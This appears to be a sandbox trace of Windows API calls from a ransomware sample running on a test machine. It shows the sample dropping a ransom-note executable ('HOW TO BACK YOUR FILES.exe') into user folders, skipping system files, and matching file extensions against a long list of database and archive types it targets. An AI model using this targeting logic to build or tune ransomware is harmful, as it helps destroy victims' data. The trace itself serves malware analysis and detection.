	[0040.623] lstrcmpiW (lpString1="folder.ico", lpString2=".dll") returned 1
	[0040.623] lstrlenW (lpString=".lnk") returned 4
	[0040.623] lstrcmpiW (lpString1="folder.ico", lpString2=".lnk") returned 1
	[0040.623] lstrlenW (lpString=".ini") returned 4
	[0040.623] lstrcmpiW (lpString1="folder.ico", lpString2=".ini") returned 1
	[0040.623] lstrlenW (lpString=".sys") returned 4
	[0040.623] lstrcmpiW (lpString1="folder.ico", lpString2=".sys") returned 1
	[0040.623] lstrlenW (lpString="folder.ico") returned 10
	[0040.623] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures"
	[0040.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0040.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0040.623] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned 51
	[0040.623] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures"
	[0040.623] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.623] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.624] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.624] GetLastError () returned 0x0
	[0040.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.624] ReadFile (in: hFile=0x154, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.624] CloseHandle (hObject=0x154) returned 1
	[0040.624] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.624] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30519490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30519490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0040.624] GetLastError () returned 0x5
	[0040.624] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 85
	[0040.624] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 85
	[0040.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.625] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11c2
	[0040.625] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x55, lpOverlapped=0x0) returned 1
	[0040.625] CloseHandle (hObject=0x154) returned 1
	[0040.626] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0040.626] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music"
	[0040.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0040.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0040.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned 48
	[0040.626] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music"
	[0040.626] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.626] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.626] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.626] GetLastError () returned 0x0
	[0040.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.626] ReadFile (in: hFile=0x154, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.627] CloseHandle (hObject=0x154) returned 1
	[0040.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.627] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30519490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30519490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0040.627] GetLastError () returned 0x5
	[0040.627] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 82
	[0040.627] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 82
	[0040.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.627] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1217
	[0040.627] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x52, lpOverlapped=0x0) returned 1
	[0040.627] CloseHandle (hObject=0x154) returned 1
	[0040.628] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0040.628] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq"
	[0040.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0040.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0040.628] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq") returned 59
	[0040.628] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq"
	[0040.628] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.628] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7yy1j31jf02ajndzsjq\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.635] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.635] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0f1fe50, ftCreationTime.dwHighDateTime=0x1d4d0c0, ftLastAccessTime.dwLowDateTime=0x3053f5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3053f5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.635] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.635] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.635] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.635] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0f1fe50, ftCreationTime.dwHighDateTime=0x1d4d0c0, ftLastAccessTime.dwLowDateTime=0x3053f5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3053f5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.635] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.635] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.635] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.636] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.636] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe76671d0, ftCreationTime.dwHighDateTime=0x1d4d406, ftLastAccessTime.dwLowDateTime=0x3cb10860, ftLastAccessTime.dwHighDateTime=0x1d4c608, ftLastWriteTime.dwLowDateTime=0x3cb10860, ftLastWriteTime.dwHighDateTime=0x1d4c608, nFileSizeHigh=0x0, nFileSizeLow=0x794e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2wdcFPL9YU5Ns.pptx", cAlternateFileName="2WDCFP~1.PPT")) returned 1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="Apollon865.txt.exe") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2=".") returned 1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="..") returned 1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="windows") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="bootmgr") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="temp") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="pagefile.sys") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="boot") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="ids.txt") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="ntuser.dat") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="perflogs") returned -1
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2="MSBuild") returned -1
	[0040.636] lstrlenW (lpString="2wdcFPL9YU5Ns.pptx") returned 18
	[0040.636] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq\\*") returned 61
	[0040.636] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="2wdcFPL9YU5Ns.pptx" | out: lpString1="2wdcFPL9YU5Ns.pptx") returned="2wdcFPL9YU5Ns.pptx"
	[0040.636] lstrlenW (lpString="2wdcFPL9YU5Ns.pptx") returned 18
	[0040.636] lstrlenW (lpString="Apollon865") returned 10
	[0040.636] lstrcmpiW (lpString1="YU5Ns.pptx", lpString2="Apollon865") returned 1
	[0040.636] lstrlenW (lpString=".dll") returned 4
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2=".dll") returned 1
	[0040.636] lstrlenW (lpString=".lnk") returned 4
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2=".lnk") returned 1
	[0040.636] lstrlenW (lpString=".ini") returned 4
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2=".ini") returned 1
	[0040.636] lstrlenW (lpString=".sys") returned 4
	[0040.636] lstrcmpiW (lpString1="2wdcFPL9YU5Ns.pptx", lpString2=".sys") returned 1
	[0040.636] lstrlenW (lpString="2wdcFPL9YU5Ns.pptx") returned 18
	[0040.636] lstrlenW (lpString="bak") returned 3
	[0040.636] lstrcmpiW (lpString1="ptx", lpString2="bak") returned 1
	[0040.636] lstrlenW (lpString="ba_") returned 3
	[0040.636] lstrcmpiW (lpString1="ptx", lpString2="ba_") returned 1
	[0040.636] lstrlenW (lpString="dbb") returned 3
	[0040.636] lstrcmpiW (lpString1="ptx", lpString2="dbb") returned 1
	[0040.636] lstrlenW (lpString="vmdk") returned 4
	[0040.637] lstrcmpiW (lpString1="pptx", lpString2="vmdk") returned -1
	[0040.637] lstrlenW (lpString="rar") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="rar") returned -1
	[0040.637] lstrlenW (lpString="zip") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="zip") returned -1
	[0040.637] lstrlenW (lpString="tgz") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="tgz") returned -1
	[0040.637] lstrlenW (lpString="vbox") returned 4
	[0040.637] lstrcmpiW (lpString1="pptx", lpString2="vbox") returned -1
	[0040.637] lstrlenW (lpString="vdi") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="vdi") returned -1
	[0040.637] lstrlenW (lpString="vhd") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="vhd") returned -1
	[0040.637] lstrlenW (lpString="vhdx") returned 4
	[0040.637] lstrcmpiW (lpString1="pptx", lpString2="vhdx") returned -1
	[0040.637] lstrlenW (lpString="avhd") returned 4
	[0040.637] lstrcmpiW (lpString1="pptx", lpString2="avhd") returned 1
	[0040.637] lstrlenW (lpString="db") returned 2
	[0040.637] lstrcmpiW (lpString1="tx", lpString2="db") returned 1
	[0040.637] lstrlenW (lpString="db2") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="db2") returned 1
	[0040.637] lstrlenW (lpString="db3") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="db3") returned 1
	[0040.637] lstrlenW (lpString="dbf") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="dbf") returned 1
	[0040.637] lstrlenW (lpString="mdf") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="mdf") returned 1
	[0040.637] lstrlenW (lpString="mdb") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="mdb") returned 1
	[0040.637] lstrlenW (lpString="sql") returned 3
	[0040.637] lstrcmpiW (lpString1="ptx", lpString2="sql") returned -1
	[0040.637] lstrlenW (lpString="sqlite") returned 6
	[0040.637] lstrcmpiW (lpString1="s.pptx", lpString2="sqlite") returned -1
	[0040.637] lstrlenW (lpString="sqlite3") returned 7
	[0040.637] lstrcmpiW (lpString1="Ns.pptx", lpString2="sqlite3") returned -1
	[0040.637] lstrlenW (lpString="sqlitedb") returned 8
	[0040.637] lstrcmpiW (lpString1="5Ns.pptx", lpString2="sqlitedb") returned -1
	[0040.637] lstrlenW (lpString="xml") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="xml") returned -1
	[0040.638] lstrlenW (lpString="$er") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="$er") returned 1
	[0040.638] lstrlenW (lpString="4dd") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="4dd") returned 1
	[0040.638] lstrlenW (lpString="4dl") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="4dl") returned 1
	[0040.638] lstrlenW (lpString="^^^") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="^^^") returned 1
	[0040.638] lstrlenW (lpString="abs") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="abs") returned 1
	[0040.638] lstrlenW (lpString="abx") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="abx") returned 1
	[0040.638] lstrlenW (lpString="accdb") returned 5
	[0040.638] lstrcmpiW (lpString1=".pptx", lpString2="accdb") returned -1
	[0040.638] lstrlenW (lpString="accdc") returned 5
	[0040.638] lstrcmpiW (lpString1=".pptx", lpString2="accdc") returned -1
	[0040.638] lstrlenW (lpString="accde") returned 5
	[0040.638] lstrcmpiW (lpString1=".pptx", lpString2="accde") returned -1
	[0040.638] lstrlenW (lpString="accdr") returned 5
	[0040.638] lstrcmpiW (lpString1=".pptx", lpString2="accdr") returned -1
	[0040.638] lstrlenW (lpString="accdt") returned 5
	[0040.638] lstrcmpiW (lpString1=".pptx", lpString2="accdt") returned -1
	[0040.638] lstrlenW (lpString="accdw") returned 5
	[0040.638] lstrcmpiW (lpString1=".pptx", lpString2="accdw") returned -1
	[0040.638] lstrlenW (lpString="accft") returned 5
	[0040.638] lstrcmpiW (lpString1=".pptx", lpString2="accft") returned -1
	[0040.638] lstrlenW (lpString="adb") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1
	[0040.638] lstrlenW (lpString="adb") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1
	[0040.638] lstrlenW (lpString="ade") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="ade") returned 1
	[0040.638] lstrlenW (lpString="adf") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="adf") returned 1
	[0040.638] lstrlenW (lpString="adn") returned 3
	[0040.638] lstrcmpiW (lpString1="ptx", lpString2="adn") returned 1
	[0040.638] lstrlenW (lpString="adp") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="adp") returned 1
	[0040.639] lstrlenW (lpString="alf") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="alf") returned 1
	[0040.639] lstrlenW (lpString="ask") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="ask") returned 1
	[0040.639] lstrlenW (lpString="btr") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="btr") returned 1
	[0040.639] lstrlenW (lpString="cat") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="cat") returned 1
	[0040.639] lstrlenW (lpString="cdb") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="cdb") returned 1
	[0040.639] lstrlenW (lpString="ckp") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="ckp") returned 1
	[0040.639] lstrlenW (lpString="cma") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="cma") returned 1
	[0040.639] lstrlenW (lpString="cpd") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="cpd") returned 1
	[0040.639] lstrlenW (lpString="dacpac") returned 6
	[0040.639] lstrcmpiW (lpString1="s.pptx", lpString2="dacpac") returned 1
	[0040.639] lstrlenW (lpString="dad") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="dad") returned 1
	[0040.639] lstrlenW (lpString="dadiagrams") returned 10
	[0040.639] lstrcmpiW (lpString1="YU5Ns.pptx", lpString2="dadiagrams") returned 1
	[0040.639] lstrlenW (lpString="daschema") returned 8
	[0040.639] lstrcmpiW (lpString1="5Ns.pptx", lpString2="daschema") returned -1
	[0040.639] lstrlenW (lpString="db-journal") returned 10
	[0040.639] lstrcmpiW (lpString1="YU5Ns.pptx", lpString2="db-journal") returned 1
	[0040.639] lstrlenW (lpString="db-shm") returned 6
	[0040.639] lstrcmpiW (lpString1="s.pptx", lpString2="db-shm") returned 1
	[0040.639] lstrlenW (lpString="db-wal") returned 6
	[0040.639] lstrcmpiW (lpString1="s.pptx", lpString2="db-wal") returned 1
	[0040.639] lstrlenW (lpString="dbc") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="dbc") returned 1
	[0040.639] lstrlenW (lpString="dbs") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="dbs") returned 1
	[0040.639] lstrlenW (lpString="dbt") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="dbt") returned 1
	[0040.639] lstrlenW (lpString="dbv") returned 3
	[0040.639] lstrcmpiW (lpString1="ptx", lpString2="dbv") returned 1
	[0040.640] lstrlenW (lpString="dbx") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dbx") returned 1
	[0040.640] lstrlenW (lpString="dcb") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dcb") returned 1
	[0040.640] lstrlenW (lpString="dct") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dct") returned 1
	[0040.640] lstrlenW (lpString="dcx") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dcx") returned 1
	[0040.640] lstrlenW (lpString="ddl") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="ddl") returned 1
	[0040.640] lstrlenW (lpString="dlis") returned 4
	[0040.640] lstrcmpiW (lpString1="pptx", lpString2="dlis") returned 1
	[0040.640] lstrlenW (lpString="dp1") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dp1") returned 1
	[0040.640] lstrlenW (lpString="dqy") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dqy") returned 1
	[0040.640] lstrlenW (lpString="dsk") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dsk") returned 1
	[0040.640] lstrlenW (lpString="dsn") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dsn") returned 1
	[0040.640] lstrlenW (lpString="dtsx") returned 4
	[0040.640] lstrcmpiW (lpString1="pptx", lpString2="dtsx") returned 1
	[0040.640] lstrlenW (lpString="dxl") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="dxl") returned 1
	[0040.640] lstrlenW (lpString="eco") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="eco") returned 1
	[0040.640] lstrlenW (lpString="ecx") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="ecx") returned 1
	[0040.640] lstrlenW (lpString="edb") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="edb") returned 1
	[0040.640] lstrlenW (lpString="epim") returned 4
	[0040.640] lstrcmpiW (lpString1="pptx", lpString2="epim") returned 1
	[0040.640] lstrlenW (lpString="fcd") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="fcd") returned 1
	[0040.640] lstrlenW (lpString="fdb") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="fdb") returned 1
	[0040.640] lstrlenW (lpString="fic") returned 3
	[0040.640] lstrcmpiW (lpString1="ptx", lpString2="fic") returned 1
	[0040.640] lstrlenW (lpString="flexolibrary") returned 12
	[0040.641] lstrcmpiW (lpString1="L9YU5Ns.pptx", lpString2="flexolibrary") returned 1
	[0040.641] lstrlenW (lpString="fm5") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="fm5") returned 1
	[0040.641] lstrlenW (lpString="fmp") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="fmp") returned 1
	[0040.641] lstrlenW (lpString="fmp12") returned 5
	[0040.641] lstrcmpiW (lpString1=".pptx", lpString2="fmp12") returned -1
	[0040.641] lstrlenW (lpString="fmpsl") returned 5
	[0040.641] lstrcmpiW (lpString1=".pptx", lpString2="fmpsl") returned -1
	[0040.641] lstrlenW (lpString="fol") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="fol") returned 1
	[0040.641] lstrlenW (lpString="fp3") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="fp3") returned 1
	[0040.641] lstrlenW (lpString="fp4") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="fp4") returned 1
	[0040.641] lstrlenW (lpString="fp5") returned 3
	[0040.641] lstrcmpiW (lpString1="ptx", lpString2="fp5") returned 1
	[0040.641] lstrlenW (lpString="fp7") returned 3
